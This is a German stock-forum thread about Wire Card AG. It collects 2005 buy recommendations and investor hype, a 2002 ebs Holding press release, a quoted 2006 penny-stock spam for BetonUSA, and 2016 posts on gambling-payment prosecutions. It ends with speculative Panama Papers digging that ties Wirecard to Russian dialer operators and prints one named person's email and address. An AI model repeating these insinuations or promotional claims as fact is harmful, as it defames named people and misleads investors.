      Die EBS Holding, bereits Mehrheitsaktionär von Infogenie Europe, wird nach Click2Pay (vergleichbar mit Firstgate) auch ihre 70-Prozent-Tochter Wire Card AG in die börsennotierte Gesellschaft einbringen. Gleichzeitig soll die Infogenie Europe AG in Wire Card AG umbenannt werden. Wire Card ist einer der weltweit führenden Anbieter für Echtzeitbezahlsysteme im Internet. Über 2.000 B2B-Kunden, darunter Sony, Betandwin.com, Tiscali und ProSieben- Sat.1, nutzen die plattform-basierten Wire-Card-Lösungen, die den gesamten Prozess der Zahlungsabwicklung und Bonitätsprüfung umfassen. Im Jahr 2005 werden laut Vorstand Dr. Markus Braun Transaktionen im Wert von 2,5 bis 3,0 Milliarden Euro über diese Systeme abgeschlossen. Damit ist die Gesellschaft nach eigenem Bekunden etwa 20 bis 25 Prozent größer als der nächste Wettbewerber.

      Moderate Bewertung

      Die Analysten von SES Researh bewerten die " neue" Gesellschaft auf Basis eines DCF-Modells (Discounted Cashflow) mit rund 180 Millionen Euro. Unter der Annahme, dass Wire Card nach den geplanten Kapitalmaßnahmen (Sach- und Barkapitalerhöhung) etwa 65 Millionen Aktien ausstehen hat, ergäbe sich ein Preis von rund 2,80 Euro je Aktie. Dies ist allerdings sehr konservativ gerechnet, wenn man die Bewertung anderer, börsennotierter Gesellschaften betrachtet. Die am ehesten zu vergleichende Cybersource aus den USA bringt derzeit eine Marktkapitalisierung von rund 170 Millionen Euro auf die Waage. Wire Card weist aber im Vergleich zu den Amerikanern einen doppelt so hohen Umsatz und Gewinn aus. Auch die britische NETeller und die amerikanische Optimal Group sind wesentlich höher bewertet.

      Fazit: Gute Gelegenheit zum Kauf. Mit einem Engagement bei Infogenie können sich Anleger zu einem frühen Zeitpunkt an einer interessanten Wachstumsstory beteiligen.

      Infobox: Infogenie Europe



      Hinweis: Der Artikel ist in Ausgabe #02/05 von DER AKTIONÄR erschienen.


      10.05.2005
      Wire Card Outperformer
      SES Research

      hier klicken zur Chartansicht Die Analysten von SES Research bewerten die Aktie von Wire Card (ISIN DE0007472060/ WKN 747206) in einer Ersteinschätzung mit " Outperformer" .

      Der Wire Card-Konzern entwickle und vermarkte ASP-Lösungen für Echtzeitbezahlsysteme. Echtzeitbezahlsysteme seien Systeme, mit denen Unternehmen Zahlungen mit ihren Endkunden unmittelbar (in Echtzeit) über das Internet abwickeln könnten. Besonderheit dabei sei, dass gleichzeitig die Bonität des Endkunden überprüft werde. Darüber hinaus könnten Wire Card-Kunden weitere Funktionen (Mahnwesen etc.) innerhalb der Financial Supply Chain (FSC) an die Wire Card outsourcen.

      Das Marktpotenzial der Wire Card sei an das Online-Einkaufverhalten sowie an das Online-Entertainmentverhalten (Online-Spiele, Online-Glücksspiele, Online-Wetten etc.) privater Haushalte gekoppelt. Dies hänge indirekt an der Internetpenetration sowie an den Ausgaben pro Kopf im Internet. Beide Kennziffern sollten bis 2008e eine hohe Wachstumsdynamik aufweisen.

      AdSolution - Internet Werbeflächen Management System
      Darüber hinaus ergebe sich für Wire Card durch die FSC eine weitere Wachstumsdimension. Die Wertpapierexperten würden erwarten, dass Unternehmen verstärkt dazu übergingen, mehr und mehr Komponenten des Zahlungsprozesses auszulagern. Wire Card stelle für Unternehmen einen idealen Outsourcing-Partner dar.

      Auf Basis des DCF-Modells der Wertpapierexperten ergebe sich ein fairer Wert von 3,10 EUR pro Aktie. Das entspreche einem Aufholpotenzial von 37%. Ein KGV 06e von 10 sowie ein PEG (05e-08e) von 0,4 würden die Unterbewertung bestätigen. Auf Grund des transaktions- und plattformbasierenden Geschäftsmodells würden die Wertpapierexperten eine signifikante Margensteigerung bis 2006e erwarten. Das Geschäftsmodell sei darauf ausgelegt, an zwei großen Wachstumstrends zu partizipieren: Dem Online-Einkauf sowie dem Outsourcing von Funktionen innerhalb des Zahlungsprozesses.

      Die Analysten von SES Research stufen die Aktie von Wire Card in einer Ersteinschätzung mit Outperformer ein.


      01.06.2005
      Wire Card kaufenswert
      TradeCentre.de

      hier klicken zur Chartansicht Die Experten von " TradeCentre.de" halten die Aktie von Wire Card (ISIN DE0007472060/ WKN 747206) für kaufenswert.

      Durch ein Reverse IPO hat die Wire Card AG den Sprung auf das Börsenparkett vollzogen. Der Großaktionär, die ebs Holding AG, halte rund 88 Prozent an dem Unternehmen und habe die Geschäftsaktivitäten in die ehemalige InfoGenie Europe AG eingebracht.

      Die Gesellschaft sei ein Internet-Dienstleister für die Echtzeit-Zahlungsabwicklung mit integriertem Risikomanagement sowie Call-Center- und Kommunikationslösungen. Der Bereich Zahlungssysteme reiche von Standardlösungen für kleinere Anbieter bis hin zu branchenspezifischen Financial Supply Chain Management-Lösungen für Großunternehmen. Es werde eine breite Palette lokaler und globaler Zahlungsmethoden über Kreditkarten- und Lastschriftverfahren sowie mit dem Produkt CLICK2PAY ein alternatives Internet-Echtzeit-Zahlungssystem offeriert.

      AdSolution - Internet Werbeflächen Management System
      Namhafte Unternehmen vor allem aus den Branchen e-Commerce, Travel/Ticketing, Homeshopping, Medien und Gaming, darunter zum Beispiel flydba.com, HSE24, Sony Europe und Tiscali würden die Lösungen von Wire Card nutzen. " Wir sind in Europa einer der größten Banken unabhängige Anbieter und sind zusätzlich auch in Nordamerika tätig" , sage Vorstandschef Markus Braun im Gespräch mit " TradeCentre.de" .

      Von großer Bedeutung sei der Gaming-Markt, da dort die Wachstumsraten gigantisch seien. Online-Casinos, Poker und Sportwetten seien im Internet der Renner. Das alternative Internet-Zahlungssystem CLICK2PAY eigne sich hervorragend für diese Märkte, da es Kartenzahlung und verschiedenste lokale Debit-Verfahren vereine. Die Wire Card zähle zum Beispiel den österreichischen Wettanbieter betandwin.com oder die Microgaming Gruppe zu ihren Kunden.

      Das Unternehmen habe auf pro-Forma Basis im vergangenen Geschäftsjahr einen Umsatz von rund 40 Millionen Euro erzielt. Pro-Forma habe das EBIT sechs Millionen Euro betragen. Dies entspreche einer knackigen Marge von satten 15 Prozent. Braun kündige für das Jahr 2005 ein Umsatz- und Ergebnisplus von mindestens 30 Prozent an. " In den nächsten zwei bis drei Jahren können wir aus eigener Kraft jeweils mit rund 30 Prozent wachsen" , sage der CEO. Die ohnehin schon bombige EBIT-Marge dürfte sich auf Grund der hohen Skaleneffekte noch auf über 20 Prozent steigern lassen. In der kommenden Woche präsentiere die Firma Zahlen für das erste Quartal. Negative Überraschungen seien nicht zu erwarten.

      Vor kurzem seien im Zuge einer Bezugsrechtskapitalerhöhung insgesamt 2.738.493 neue Aktien zum Preis von 2,09 Euro gezeichnet worden. Die Aktien seien mindestens bis Ende des dritten Quartals gelocked und nicht zum Handel zugelassen. Weitere Barbeschaffungen seien für das organische Wachstum nicht nötig, erkläre Braun. Höchstens bei Zukäufen, die der CEO in Erwägung ziehe, wäre eine Kapitalerhöhung notwendig. " Wir sind offen für Akquisitionen und schauen uns den Markt permanent an."

      Konkurrenten aus dem Bereich der Telekomkonzerne (Telekom, Vodafone) oder Kreditkartenhäuser (American Express) fürchte Braun nicht. " Unsere Wettbewerber sind eher die großen Banken, die auf das Kreditkartengeschäft spezialisiert sind" .

      Da im Bereich der Online-Zahlungssysteme vor allem in England die Musik spiele, würden britische Investoren zunehmend Interesse am Unternehmen zeigen. Bei rund 55 Millionen Aktien (derzeit seien allerdings nur rund elf Millionen Aktien zum Handel zugelassen) bringe es Wire Card auf eine Kapitalisierung von rund 140 Millionen Euro. Das sei auf den ersten Blick viel Holz. Die Wachstumsraten seien dafür aber enorm hoch. Mache das Management keine Fehler, dürfte es nicht sonderlich schwer sein, an den super Marktchancen teilzunehmen. Das KGV für 2006 betrage günstige 13. Wettbewerber kämen auf ein KGV von strammen 25.

      Die Aktie von Wire Card ist mit einem Kursziel von mindestens 3,50 Euro kaufenswert, so die Experten von " TradeCentre.de" .

      Nüchtern betrachtet sehe ich bei diesem Wert wiedermal eine Chance an einer interessanten und sehr spannenden Story teilnehmen zu können.

      Wir kennen alle das Spielchen. Die einschlägige Pressezunft sucht immer nach NEUEN Gesichtern, da die ALTEN Geschichten abgegrast sind. Irgendwann in naher Zukunft schreibt die erste Börsenzeitschrift einen Artikel, dann folgt die zweite und ab geht die Post. Danach folgen die Analysen, die Börsenumsätze steigen und ehe man sich versieht wird die eventuelle TecDax Aufnahme gespielt.

      Und wir wissen alle was das bedeutet.....

      FAZIT:

      Macht Euch schlau über diesen Wert. Besucht die Hompage, seht Euch den Kundenstamm an (z. B. Betandwin - Weltmeisterschaft 2006) und setzt den Wert auf die Watchlist. Meiner Meinung nach wächst hier was großes heran, wo wir in 2 Jahren fluchend vor dem Monitor sitzen und uns sagen: " Die konnte ich gemütlich bei 2,45 einsammeln und jetzt ?

      Viel Glück !
      von invest2002 (12.06.05 13:20:59)
      betrifft Aktie: WIRE CARD AG
      .
      von MFC500 (12.06.05 14:35:38)
      betrifft Aktie: WIRE CARD AG

      Folgende Antwort bezieht sich auf Beitrag Nr.: 16.870.038 von Compus am 12.06.05 13:13:18Sicher ein interessantes Papier, aber m.E. auch schon sehr hoch bewertet. Außerdem frage ich mich bei diesen sog Researchstudien, wie sie ihre Gewinne berechnet haben.
      In einem Artikel steht, daß das 06er KGV 13 " nur" betrage. Ausgehend vom letzten Xetra-Kurs bei 2,50 und 55 Mio Aktien prognostiziert dieser " Profi" demanch einen JÜ für 2006 in Höhe von 10,6 Mio. Im 1.Quartal 2005 betrug das EBIT (nicht der JÜ!) 1 Mio. Da frage ich mich, wo dieses exponetielle Wachstum herkommen soll bzw wie realistisch diese Erwartung ist.
      SES prognostiziert sogar ein KGV von 10 für 2006, womit der JÜ noch höher liegen müßte.
      Ich gebe zu zu, daß ich nicht einschätzen kann, ob dieses enorme Gewinnwachstum möglich ist. Vielleicht ist es ja machbar. Aber ich habe eher den Eindruck, daß vielleicht nur die zum Börsenhandel zugelassenen Aktien in diese Berechnungen eingeflossen ist, womit das natürlich eine Milchmädchenrechnung wäre.
      von Compus (13.06.05 08:44:47)
      betrifft Aktie: WIRE CARD AG
      @MFC500 (Danke für Deinen Beitrag)

      Ich sehe das rasante Wachstum als realistisch an, da die Entwicklungskosten sinken und die Marge steigt. Weiterhin müssen wir uns darüber im klaren sein, dass Internet Shopping bald überall SELBSTVERSTÄNDLICH sein wird und eine sichere Zahlungsmöglichkeit für Kunden als auch für den Verkäufer garantiert sein muss.

      Das derzeitige " eventuelle" KGV kann vernachlässigt werden.

      Wenn Wire Card gespielt wird, dann aufgrund der Marktposition in Europa (siehe Kundenstamm)und der zukünftigen Wachstumsphantasie sowie der TecDax-Phantasie.

      Ich bin überzeugt das bald die ersten Meldungen über ausserbörsliche Fondsbeteiligungen gemeldet werden.

      Alles in allem, eine sehr spannende Börsenstory und darauf kommt´s an.
      von Herbert H (13.06.05 11:59:09)
      betrifft Aktie: WIRE CARD AG
      Wer steckt eigentlich hinter dem Großaktionär ebs Holding?
      von Compus (14.06.05 08:07:54)
      betrifft Aktie: WIRE CARD AG
      @Herbert

      Hier zur Erklärung:

      Hallbergmoos, 29.Mai 2002. (press1: iBOT) - Die Gründung des Technologiekonzerns ebs Holding AG ist das Ergebnis einer zukunftsorientierten und weitsichtigen Planung der vergangenen Jahre. Der Vorstand der Holding, Paul Bauer begann 1999 als Begründer der ebs Electronic Billing Systems AG (ebsAG), zusammen mit ebsAG Vorstand Alexander Herbst diese strategische Marktpositionierung. Weitere Firmen wurden gegründet bzw. acquiriert. Die fünf Säulen des ebs Holding Gebäudes setzen sich jetzt zusammen aus der ebs Electronic Billing Systems AG, Wire Card AG, United Payment GmbH(vormals pay@eurodebit GmbH), ebs Mobil GmbH und ebs Global GmbH. Die zu einer starken Gruppe zusammengeschlossenen Unternehmen sind 100%ige Töchter der Holding, die nicht im operativen Geschäft agiert, sondern sich darauf konzentriert weitere Investitionen vorzunehmen, die zur Holding Struktur und dem Geschäftsbereich elektronische Zahlungssysteme passen. Mit dieser gezielten Bündelung können Kunden die passende ePayment Lösung für jede Anforderung im elektronischen Zahlungsverkehr, unabhängig von Struktur und Größe des Anbieters, mit allen dazugehörigen Dienstleistungen erwarten.

      Die Wire Card AG ist mit ihren High End Technologie Produkten, hervorragend aufgestellt. Das Corporate Clearing Center, eine modulare Plattform für die Abwicklung von Finanzprozessen bietet komplexe Funktionalitäten für Großunternehmen. Die Finanztransaktionen sowie internen und externen Datenströme global tätiger Unternehmen laufen auf dieser zentralen Plattform zusammen und ermöglichen die Einbindung aller Vertriebs- und Lieferantenkanäle. Anfang Mai 2002 präsentierte Vorstand Dr. Markus Braun mit dem Corporate Trust Center das erste " Stand Alone" Produkt für intelligentes Risiko Management. Mit Hilfe des Corporate Trust Centers wird Unternehmen umfangreicher plattformunabhängiger Schutz vor Zahlungsausfällen im elektronischen Handel geboten.

      Anbieter, die in erster Linie das processing von ePayment Lösungen im Backend benötigen (wie z.B. IP-Gateways), werden über die ebs Electronic Billing Systems AG Zahlungssysteme eingebunden. Die ebsAG stellt Kunden mit größerem Transaktionsvolumen oder Banken eine high performance Processing Plattform zur Verfügung, welche auch dem Informationsbedürfnis des globalen Merchants gerecht wird. Mit dem Finanzexperten Alexander Herbst im Vorstand, der auch für die ebs Global GmbH und ebs Mobil GmbH die Geschäfte führt, ist ein kompetenter Partner für das Finanzmanagement der Gruppe an Bord. Herbst leitet ein Team von über 40 Mitarbeitern im Bereich Processing, Accounts und Kundenservice.

      Die United Payment GmbH deren operatives Geschäft im Inland und auf den zentraleuropäischen Raum konzentriert wird, ist Ansprechpartner für kleinere Anbieter (Frontend Lösungen), die eine schnelle, unaufwändige Implementierung der klassischen Paymentverfahren wie Kreditkarten/ Lastschrift Transaktionen etc. benötigen und schnürt auf Wunsch ein komplettes Dienstleistungspaket wie z.B. Risikomanagement Tools, Customer Care, Mahnwesen und Inkasso. Mirko J. Hüllemann, ehemaliger Paybox Key Accounter, ist für United Payment als Geschäftsführer verantwortlich.

      Als Beteiligungsgesellschaft für Billing Unternehmen wird sich die ebs Global GmbH auf die großen europäischen Märkte konzentrieren. Nach Spanien und England werden kurzfristig weitere Länder, wie z.B. Italien und Frankreich folgen.

      Infolge der maßgeblichen Beteilung an der am Neuen Markt in Frankfurt notierten InfoGenie Europe Ltd. (Call-Center Spezialist Thomas Dehler seit 15.5.02 im Vorstand) durch die ebs Mobil ziehen zukünftig alle Holding Unternehmen Nutzen aus dem Call Center Know How der InfoGenie.

      Der Kundenservice aller Unternehmen der ebs Gruppe reicht vom technischen Support, über das Processing bis zum Customer Care Center und dem Experten Pool / Call Center der InfoGenie, eines der besten Dienstleistungsangebote am Markt.

      In Windsor/UK dem Headquarter der InfoGenie Ltd. werden demnächst Niederlassungen der ebsAG sowie der United Payment zur besseren Positionierung am englischen Markt, gegründet.

      Innerhalb der Holding sind derzeit 120 Mitarbeiter beschäftigt, mit steigender Tendenz. Die Erwartungen liegen nach cash- positivem Quartalergebnis 2002 (und über 70 Mio. EURO Umsatz im 1.Vj.2002) bei ca. 400 Mio.EURO Clearing Volumen für dieses Jahr. Hauptsitz der Holding ist Hallbergmoos bei München.


      Kontakt:
      Iris Stöckl
      Director Public Relations
      ebs Holding AG
      Lilienthalstrasse 5
      D-85399 Hallbergmoos
      Tel. +49 (0) 811 5546 329
      Fax +49 (0) 811 5546 333
      www.ebsholding.com
      www.ebs-ag.de
      www.wirecard.com

      istoeckl@ebs-ag.de
      Avatar
      schrieb am 10.05.16 13:29:44
      Beitrag Nr. 100 ()
      ////

      On Monday, 15 January 2007 shares in Neteller PLC were suspended following the news that former Directors of the company, Mr Stephen Lawrence and Mr John Lefebvre had been detained by US authorities .
      Two criminal complaints unsealed in U.S. District Court in Manhattan revealed that the two had been charged with laundering billions of dollars in gambling proceeds;
      " From in or about June 1999, up to and including in or about January 2007, in the Southern District of New York and elsewhere, JOHN DAVID LEFEBVRE, the defendant, and others known and unknown, unlawfully, wilfully and knowingly did combine, conspire, confederate, and agree together and with each other to violate Section 1956(a)(2)(A) of Title 18, United States Code. It was a part and an object of the conspiracy that JOHN DAVID LEFEBVRE, the defendant, and others known and unknown, would and did transport, transmit, and transfer monetary instruments and funds from a place in the United States to and through a place outside the United States and to a place in the United States from and through a place outside the United States with the intent to promote the carrying on of specified unlawful activity, to wit, the operation of illegal gambling businesses in violation of Title 18, United States Code, Section 1955, the illegal transmission of wagers and gambling information, in violation of Title 18, United States Code, Section 1084, and the commission of gambling offenses in violation of both New York State Penal Law, Article 225, and anti-gambling statutes in other states."
      "From in or about June 1999, up to and including in or about January 2007, in the Southern District of New York and elsewhere, STEPHEN ERIC LAWRENCE, the defendant, and others known and unknown, unlawfully, wilfully and knowingly did combine, conspire, confederate, and agree together and with each other to violate Section 1956(a)(2)(A) of Title 18, United States Code. 2. It was a part and an object of the conspiracy that STEPHEN ERIC LAWRENCE, the defendant, and others known and unknown, would and did transport, transmit, and transfer monetary instruments and funds from a place in the United States to and through a place outside the United States and to a place in the United States from and through a place outside the United States with the intent to promote the carrying on of specified unlawful activity, to wit, the operation of illegal gambling businesses in violation of Title 18, United States Code, Section 1955, the illegal transmission of wagers and gambling information, in violation of Title 18, United States Code, Section 1084, and the commission of gambling offenses in violation of both New York State Penal Law, Article 225, and anti-gambling statutes in other states."
      In repsonse to the arrest of the "Neteller Two" Mark J.Mershon, the Assistant Director-in-Charge of the New York Office of the Federal Bureau of Investigation stated:
      "Internet gambling is a multibillion-dollar industry. A significant portion of that is the illegal handling of Americans' bets with offshore gaming companies, which amounts to a colossal criminal enterprise masquerading as legitimate business. There is ample indication these defendants knew the American market for their services was illegal. The FBI is adamant about shutting off the flow of illegal cash."
      On 8 February 2007 Neteller issued the following statement as regards the arrest of its two founders;
      "Following upon the complaints dated 16 January 2007, banks in the US began declining to permit transactions involving the Group through accounts maintained at one or more automated clearinghouses in the United States. Additionally, the Group has been advised that the USAO has obtained court-ordered seizure warrants seizing funds pertaining to the Group's transactions. To the best of the Group's knowledge, it believes that the amount of funds seized by the USAO or otherwise restricted by third parties does not exceed US $55 million. These funds were largely in the process of being transferred from the Group to its US customers or vice versa.......To the Group's knowledge, no criminal action or proceeding has been brought against the Group, its current officers or directors by the USAO. Nevertheless, there can be no assurance that the Group will not be charged in a criminal action at some subsequent time. "
      In July 2007 Neteller announced that it had entered into a Deferred Prosecution Agreement with the United States Attorney's Office for the Southern District of New York, which resolves its investigation into the Company. Neteller has consented to the filing of criminal information relating to transactions between Internet gambling merchants and persons located in the United States. The USAO has agreed to defer the prosecution of any federal charges and, as a consequence, the Company will not be convicted of any federal crime, as long the Company fulfils the set conditions of the DPA during the two year term of the agreement. At the conclusion of the two year term, the criminal information will be dismissed. The United States District Court for the Southern District of New York has approved the deferral of the prosecution.
      NETeller, admitted criminal wrong doing and agreed to forfeit $136,000,000 for its part in a conspiracy to promote Internet gambling businesses and to operate an unlicensed money transmitting business. The company also agreed to return $94 million held in the accounts of U.S. customers since January 2007. The two founders of NETeller, Stephen Lawrence and John Lefebvre pled guilty to conspiring to promote illegal Internet gambling businesses and agreed to forfeit $100 million.
      In October 2009, PREET BHARARA, the United States Attorney for the Southern District of New York, and JOSEPH M. DEMAREST, JR.,Assistant Director-in-Charge of the New York Office of the Federal Bureau of Investigation, announced that OptimalGroup, Inc, a company based in Canada and publicly traded on the NASDAQ had agreed to forfeit approximately $19.2 million in criminal proceeds derived from processing payments for illegal Internet gambling websites as part of a non-prosecution agreement. From 2004 until October 2006, Optimal, operating an electronic wallet called Firepay, allegedly processed more than $2 billion worth of illegal gambling transactions for United States customers;
      "These Internet gambling websites were located outside of the United States, but the substantial majority of their customers were in the United States, including in the Southern District of New York. As acknowledged by Optimal, these Internet gambling merchants violated federal criminal law by offering gambling in the United States, including 18 U.S.C. § 1084 ("the Wire Act") and 18 U.S.C. § 1955 (the "Illegal Gambling Business Act").
      Avatar
      schrieb am 10.05.16 13:36:46
      Beitrag Nr. 101 ()
      2.10.2006 Spam zu BetOnUSA

      Die Meldung des Tages:
      Auf die AKTIEN DER BETONUSA AG (WKN A0B921) wartet jetzt der Rebound!
      www.betonusa.com lachender Profiteur der US-Gesetzgebung gegen Online-Casinos!
      In der Nacht vom Freitag auf Samstag wurde im US Senat der “Internet Gambling Prohibition und Enforcement Act” verabschiedet, der den US-Banken untersagt, Zahlungen jeglicher Art fuer den Online-Casino-Markt zu transferieren. Der “Wire Act” von 1961 wurde ausdruecklich nicht ausgeweitet! Der spielende US Amerikaner weiss nun, dass er nichts Illegales macht wenn er im Internet zockt.
      Die Online-Casino-Aktien und Wett-Aktien erlitten bereits Monate im Vorfeld der verschiedensten Verbots- und Legalisierungsbemuehungen in USA und Europa, Kursverluste um bis zu 90 Prozent! Aufgrund der Verabschiedung des zahnlosen US-Gesetzes ist jetzt die Unsicherheit aus den Aktien weitgehend raus.
      An dieser Stelle kommt jetzt Betonusa AG als Inhaber der Prozessing Firma Webtrade als lachender Profiteur in's Spiel.
      Warum? Internet-Online-Casinos funktionieren nur, wenn dem Spieler Einzahlungs- und Auszahlungsmoeglichkeiten geboten werden. Das verabschiedete Gesetz zielt daher darauf ab, solche Internet-Zahlungen zu verhindern und der Branche somit den Geldhahn zuzudrehen. Das Gesetz ist jedoch deshalb zahnlos, weil es nur den US-Banken gilt. Somit werden lediglich die Anforderungen an das Payment-Processing umfangreicher, so dass in der Payment-Processing-Branche ausserhalb den USA noch staerkere Gewinne zu erwarten sind als vor dem Gesetz.
      Einer der ganz grossen Global Player im internationalen Payment-Processing-Markt ist mittlerweile die an der Frankfurter Boerse notierte deutsche Aktiengesellschaft Betonusa AG die ebenfalls Inhaber der am Markt etablierten Processing-Firma www.webtrade.net sind.
      Zu den Hauptkunden der Betonusa AG (Webtrade/Inatec/IEE/Cybertronix) gehoeren die groessten boersennotierten Sportbooks und Pokerseiten der Welt.
      Die Betonusa AG (Webtrade/Inatec/IEE/Cybertronix) berechnet ueber ihre Processing-Firma Webtrade den Casinos Gebuehren von durchschnittlich 5-8 Prozent der Spielereinzahlungen, bevor diese Einzahlungen erst vom Spieler gesetzt und fuer den Betreiber erfolgswirksam werden koennen. Hierbei werden auf Wunsch keine Kreditkarten von US-Banken, sondern alternative Zahlungsmethoden verwendet. Die daraus resultierenden Erloese uebertreffen oftmals die Ergebnisquote des Gaming-Anbieters, was das hochprofitable Geschaeftsmodell der Betonusa AG in Verbindung mit der eigenen Processing-Firma Webtrade bestaetigt.
      Daneben betreut die Betonusa AG (Webtrade/Inatec/IEE/Cybertronix) auch namhafte Kunden im Bereich Telekommunikation, Banken (u.a. Postbank), Handel (Swarowski), Industrie (Bosch, Redbull) und Finanzdienstleistungen (Franklin Templeton), so dass ein gesunder Branchen-Mix gewaehrleistet bleibt.
      Nachdem man nun die Ungewissheit durch den US-Senat als erledigt betrachtet, und das verabschiedete zahnlose Gesetz sich sogar vorteilhaft fuer die Webtrade auswirkt, steht der Betonusa-Aktie (WKN A0B921) unmittelbar ein gigantischer Rebound bevor.
      Unternehmen
      Fluxx
      Bet-at-home
      Bwin
      BETONUSA
      Spielereinzahlungen
      50.000.000 Euro
      320.000.000 Euro
      >1.000.000.000 Euro
      >1.000.000.000E uro
      Bruttowettertraege< /td>
      3.000.000 Euro
      600.000 Euro
      150.000.000 Euro
      45.000.000 Euro
      Gewinn nach Steuern
      50.000 Euro
      -20.000 Euro
      -30.000.000 Euro
      5.200.000 Euro
      Marktkapitalisierung
      80.000.000 Euro
      100.000.000 Euro
      600.000.000 Euro
      75.000.000 Euro
      In der naechsten Tabelle sehen Sie als Einzelvergleich um wie viel besser die Betonusa gegenueber Bet-at-home dasteht.
      - die Spielereinzahlungen sind bei Betonusa satte 300% hoeher
      - die Bruttowettertraege sind bei Betonusa satte 7400% hoeher
      - der Gewinn nach Steuern ist bei Betonusa satte 25900% hoeher
      Unternehmen
      Bet-at-home
      BETONUSA
      Spielereinzahlungen
      320.000.000 Euro
      >1.000.000 Euro
      > 300%
      Bruttowettertraege< /td>
      600.000 Euro
      45.000.000 Euro
      + 7400%
      Gewinn nach Steuern
      20.000 Euro
      5.200.000 Euro
      + 25900%
      Marktkapitalisierung
      100.000.000 Euro
      75.000.000 Euro
      -25%
      In der Marktkapitalisierung ist Betonusa AG eindeutig unterbewertet.
      Hier geht es zum exklusiven Research-Report der Betonusa AG der einen „strong buy“ empfiehlt.

      Quelle:
      http://www.ariva.de/forum/mit-Spannung-erwartet-schwarzer-Mo…
      Avatar
      schrieb am 10.05.16 21:28:47
      Beitrag Nr. 102 ()
      Blue Ridge Capital llc <---> welche ist die richtige?
      blue ridge capital, goldman sachs et al --> sportingbet
      --> verkauft an BetonUSA/zeugs???
      was ging da ab?

      wann soll wirecard eingestiegen sein?
      ende januar "wir arbeiten an einer Idee für payment, dürfen noch nichts sagen" (20.1.07)

      spam für betonusa???
      spam für goldman????
      da passt was nicht
      Avatar
      schrieb am 10.05.16 23:22:00
      Beitrag Nr. 103 ()
      Viel geben die Panama Papers bisher nicht her...
      Die "Echo Moss Ltd", offiziell in den Geschäftsberichten erwähnt, hieß früher Surefire Europe Ltd. Das ist 'ne ganz alte Geschichte, der rätselhafte Merger mit der heutigen Paysafe.
      https://www.nexok.co.uk/company/04445024/echo-moss-limited
      Estauchen nur Wirecardleute auf und die Firmengründer, das waren Premium Secretaries und die Annan Limited
      https://www.nexok.co.uk/company/04445024/echo-moss-limited/d…

      Das ist letzten Endes nichts Neues, dass es sich bei den Firmengründern um sehr interessante Leute handelt (wie ja auch bei WIRE CARD UK Ltd)

      Ganz knapp nach der Gründung der Echo Moss wurden zwei Mitglieder des Petre-Mears-Clans Direktoren der Annan: Edward und Sarah-Louise

      Edward hatte später einen weiteren Münchner Kunden, der als Investor eines Skateboardparks in Neufahrn in den Zeitungen steht. Das ist wenig aufregend, aber leider die einzige Möglichkeit, um zu zeigen, wo man landet, denn der Petre-Mears-Clan ist etwas unübersichtlich
      https://offshoreleaks.icij.org/search?utf8=%E2%9C%93&q=petre…

      Man findet es so (dies als kleine Anleitung für Panama-Papers-Recherchen)

      https://offshoreleaks.icij.org/search?cat=3&e=&q=DEUTSCHLAND…" target="_blank" rel="nofollow ugc noopener">https://offshoreleaks.icij.org/search?cat=3&e=&q=DEUTSCHLAND…

      --> alle Einträge mit "Deutschland"

      man findet fast nur UBS (dies könnte man später studieren)

      oder man landet in Köln (wer will: die beiden Namen bringen lustige Ergebnisse)
      https://offshoreleaks.icij.org/nodes/171367

      oder man findet eine chinesisch geführte "Deutschland New Era Biotech"

      was man aber auch findet ist eben
      Neufahrn und der Skateboardpark
      bzw in Russland was-weiß-ich-wo
      https://ved-gtd.com/import/inn/7802435591/

      Der Shareholder dieser Firma eines Münchner Russen ist eben der Edward Petre-Mears

      und wenn man sich da ein bisschen länger mit beschäftigt, kann man den spontan zuordnen - nämlich einer Reihe von Artrikeln in Neuseeland, GT Group.

      Man landet dann zB hier
      https://www.icij.org/offshore/post-soviet-billionaires-invad…

      Ein Artikel über geheimnisvolle russische Milliardäre, die England infiltrieren.

      Dort findet man eine kleine Notiz
      And on a lesser scale, Dimitry Sergeev, a mobile phone games entrepreneur from Novosibirsk, faced a potentially costly dispute with a small Manchester supplier over some allegedly unpaid invoices because his firm was BVI-registered firm. A source there said: “We decided it was too difficult to bring a legal action in the BVI.” Sergeev did not comment.


      Wenn man sich für russische Milliardäre im Immobiliengeschäft interessiert, mag das unbedeutend sein. Aber wer sich mit der Wirecard beschäftigt, der freut sich, diesen namen hier zu lesen :)

      Denn die Verbindung läuft über eine andere panamaische Kanzlei und Genf. Und wer ist nun Dmitry Sergeev (oder Dimitry)

      Ich vermute sehr, dass es sich hierbei um den Gründer von Depositfiles handelt.

      Könnte aber auch sein, dass es sich um Soron handelt

      domain: dj-studio.com
      status: lock
      owner: Dmitriy Sergeev
      email: sorondj@wowmail.com
      address: 20
      address: Hyton st
      city: Nicosia

      wer ist nun sorondj schon wieder?
      Na, soron halt. Frühers suchte er händeringend nach Leuten, die Traffic auf seine Justbestporn-Seiten gelotst haben. Mein Russisch ist nicht so besonders, aber dafür reicht es noch:

      Диалеры (EBS, Libereco, DA (USA traff))
      heißt: Dialer (EBS, Libereco)

      Was mich daran immer wundert: Haben zufällig diese ganzen bösen Russen quer durch die Welt dieselben Firmengründer ausgewählt (zB die berühmte Suite 2, Portland House, Gibraltar, zu der man ja auch so manches lustige Quiz veranstalten könnte, ich sage nur "Quizionär" (Gell, Jensi)) - oder ist das am Ende gar kein Zufall? Dann bliebe nur die Frage: Nutzten die Russen und ihre Hintermänner dieselben Anbieter wie die EBS oder nutzte die EBS dieselben Anbieter wie die Russen?

      ach ja, Soron war immer hilfsbereit im schon erwähnten Forum crutop

      "Simply put - we will help everyone: how to have someone cores in excess (extra income), as well as the beginner has not adapt to the market - to turn the traffic into money. All risks on payments, we take care of!
      Evaluate how it works!
      Units - you get the money for them and all that! UNITA costs can and will change each day, hour, depending on how well we will be able to attach your drocherov. But there is always a minimum value of units (you will see it in their statistics). And there is always something you have already earned.
      We will do everything so that you and we have less headaches and had money.
      Good luck!"

      in diesem Zusammenhang hat er auch Fake-AV-Programme beworben.

      Da wären wir dann auch wieder bei Pavel "dig into wirecard and find the same shit" Vrublevsky.
      Aber das is ja eh schon klar, seit der mit Robert Lee Keen plauderte.

      Ich hab ja die Familienfotos der Russen hier, u.a. vom Besuch in Belize. Kurz nach diesem Besuch tauchten plötzlich statt Gibraltar Adresse aus Belize auf. Das war ein großes Thema im deutschen Dialerkuddelmuddel der Dialerendzeit...

      und immer noch machten die unbelehrbaren Russen Werbung für die EBS-Dialer, obwohl es die EBS da schon gar nicht mehr gab. Ich frage mich nur, wie das Geld geflossen ist - oder haben die Russen den Dialer geklaut? Aber wie haben sie es dann geschafft, ihre Leute über einen deutschen Server unter Kontrolle der wirecard zu schicken?

      10/2004
